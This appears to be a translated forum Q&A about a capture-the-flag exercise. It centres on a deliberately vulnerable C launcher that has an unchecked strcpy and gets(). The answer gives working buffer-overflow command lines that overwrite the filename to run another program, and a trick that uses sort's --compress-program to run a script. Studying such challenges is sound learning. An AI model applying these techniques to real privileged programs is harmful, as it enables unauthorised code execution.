我正在做一个挑战,你应该利用程序中的漏洞。具体来说,这似乎需要使用 sort 和/或 uniq 才能启动程序。然而,我已经在有关这些功能的各种文档中搜索了大约几个小时,但我不明白这是怎么可能的。该文件夹中的可用文件是 Linux 中的函数 sort 和 uniq。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libgen.h>
char buffer[192] = "";
char filename[192] = "";
int main(int argc, char *argv[])
{
if (argv[1]) {
snprintf(filename, 255, "/home/challenge/%s", basename(argv[1]));
printf("Checking filename %s\n", filename);
if (access(filename, X_OK)) {
fprintf(stderr, "You do not have the permission to execute this file\n");
return 1;
}
}
else {
fprintf(stderr, "Please provide the program name\n");
return 2;
}
if (argv[2]) {
strcpy(buffer, argv[2]);
}
else {
gets(buffer);
}
printf("Executing filename %s\n", filename);
execlp(filename, filename, buffer, (char *)0);
return 0;
}
目标是启动一个程序来代替/同时执行 uniq/sort。有任何想法吗?
答案1
编辑
正如 @icarus 在评论中提到的,您错过了挑战的目标。目标不是利用sort
或uniq
,而是利用您的程序。使用以下命令很容易做到这一点缓冲区溢出攻击。你的问题更适合stackoverflow.com而不是这个网站,但我还是会回答。
请注意,大小为buffer
192 字节。但是,当buffer
从参数 ( strcpy(buffer, argv[2]);
) 复制时,它不会检查大小是否确实是 192 字节,并且无论大小如何,它都会复制整个第二个参数。由于filename
位于 后面,因此第二个参数的前 192 个字节之后的所有内容都将“溢出”并覆盖内存中变量buffer
的地址。filename
由于strcpy
仅在检查filename
中存在后才执行/home/challenge/
,因此该检查将成功通过,但随后它将运行第二个参数的前 192 字节之后的任何内容。
./challenge sort "`printf '%192s./program.sh'`"
Checking filename /home/challenge/sort
Executing filename ./program.sh
Yes, ./program.sh was indeed executed by sort!
这是另一个有趣的例子:
$ printf -v ARG "%-191s\n/bin/echo" 'hello world'
$ ./challenge uniq ""$ARG""
Checking filename /home/challenge/uniq
Executing filename /bin/echo
hello world
/bin/echo
使用bash
's,printf
我为变量分配$ARG
一个以“hello world”开头的字符串,并用空格填充以达到 191 个字节,然后是一个新行\n
,后面是/bin/echo
。它将/bin/echo
以整个$ARG
作为参数运行,其结果将是用空格、新行和/bin/echo
.填充的“hello world”。
原答案
我不确定这是否正是您正在寻找的,但我想我已经找到了一种方法来做到这一点sort
。当输入sort
过高时,sort
正在将数据写入临时文件以节省RAM,并最终合并它们。
GNUsort
还有一个选项--compress-program=PROG
,告诉它压缩临时文件以PROG
节省磁盘空间。这个想法是运行sort
,--compress-program=PROG
然后继续将数据发送到标准输入(这次它将是 的标准输入sort
,在 之后execlp
),直到sort
决定写入临时文件并使用提供的程序来压缩它。
首先,这是我们将尝试运行的程序。它只是向标准错误写入一些消息,以便我们可以验证它确实已执行。
$ cat program.sh
#!/bin/bash
echo "Yes, $0 was indeed executed by sort!" >&2
exit 1
然后我们将运行以下命令:
while true; do echo; done | ./challenge sort --compress-program=./program.sh
Checking filename /home/challenge/sort
Executing filename /home/challenge/sort
Yes, ./program.sh was indeed executed by sort!
然后你的代码将按sort
以下方式执行:
execlp("/home/challenge/sort", "/home/challenge/sort", "--compress-program=./program.sh", (char *)0);
这就像/home/challenge/sort --compress-program=./program.sh
在 shell 中运行一样。接下来,我们将在无限while
循环中回显空行,这些空行将被定向到sort
.最终sort
决定写入一个临时文件,并尝试./program.sh
对其进行压缩。正如你所看到的,./program.sh
确实被执行并写入了 STDERR:Yes, ./program.sh was indeed executed by sort!
这是我能想到的唯一方法。我找不到利用的方法uniq
。